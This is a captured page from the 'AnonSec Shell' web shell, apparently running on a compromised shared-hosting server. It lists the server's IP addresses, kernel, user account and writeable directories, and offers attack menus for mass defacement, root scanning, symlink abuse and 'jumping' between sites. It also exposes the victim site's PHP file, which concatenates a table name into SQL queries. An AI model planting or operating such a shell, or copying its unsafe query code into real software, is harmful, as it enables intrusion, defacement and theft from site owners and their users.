AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/shop/S0048/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/shop/S0048/class/runid_Class.php
<?php
class Runid extends Connect
{
	public function run_id($tb)
	{
		$this->setconnect();
		
		$query = 'SELECT MAX(id) AS id_max  FROM '.$tb;
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		
		if($row['id_max'] == '')
		{
			$sql = "INSERT INTO ".$tb." (`id`)VALUES ('1')";
			$result = mysql_query($sql) or die('Query failed: ' . mysql_error());
			$id = 1;
		}
		else
		{
			$id = $row['id_max']+1;
		
			$sql = " UPDATE  ".$tb." SET  `id` =  '".$id."' WHERE  `id` = '".$row['id_max']."' ";
			$result = mysql_query($sql) or die('Query failed: ' . mysql_error());
		}
		return $id;
	}					
}
?>

Anon7 - 2022
AnonSec Team